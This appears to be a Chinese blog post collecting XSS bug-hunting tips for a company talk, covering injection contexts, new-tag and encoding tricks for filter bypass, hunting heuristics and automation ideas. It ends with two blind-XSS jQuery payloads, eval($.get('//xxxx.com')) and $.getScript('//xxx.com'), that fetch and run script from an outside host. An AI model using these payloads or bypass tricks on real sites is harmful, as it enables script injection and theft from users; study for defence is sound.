这周六会在公司分享经验和技巧,把自己的和网上的一些技巧来综合写一些,方便大家和自己:
普通的XSS,储存,反射,DOM
形成的无外乎就是输出点在html标签之间,html属性之间,成为JS代码,称为CSS代码。
下面写一些我的技巧:
1.引用新增的标签,例如chrome在下一个版本新增了<link rel="import" href="http://xx">,我们就可以利用他,详见WOOYUN,QQMAIL XSS。
推荐参考的是:http://html5sec.org
2.引用编码解码 html实体编码,进制编码,十六进制,十进制。JS:unicode编码,十六进制,八进制,纯转义。CSS:八进制,十六进制。
用了之后你就会有意想不到的收货 :) 推荐网址:http://evilcos.me/lab/xssee/
3.这个是个人感觉和经验了(借鉴了moster的分享):
1)UI做得烂,安全也就差。
2)从程序猿的角度出发,你觉得你来写的话,哪些地方不能完全考虑周到
3)菜鸟要吃回头草,以前挖过的地方再多去找找,说不定会有惊喜
4)发现的漏洞的地方,再去google,看看有没有类似的业务
4.关于自动化(借鉴chu牛的思路):
1)针对储存型,last-modified和Etag
2)DOM:FUZZ+HOOK
5)盲打,如果用jQuery可以尝试如下(感谢余弦和PW牛):
1) eval($.get('//xxxx.com'))
2) $.getScript('//xxx.com') // 这个最牛逼,我当时没意识到,pw实战发现
如果你有什么技巧欢迎来补充,如果哪里有错误欢迎指正 sevck#jdsec.com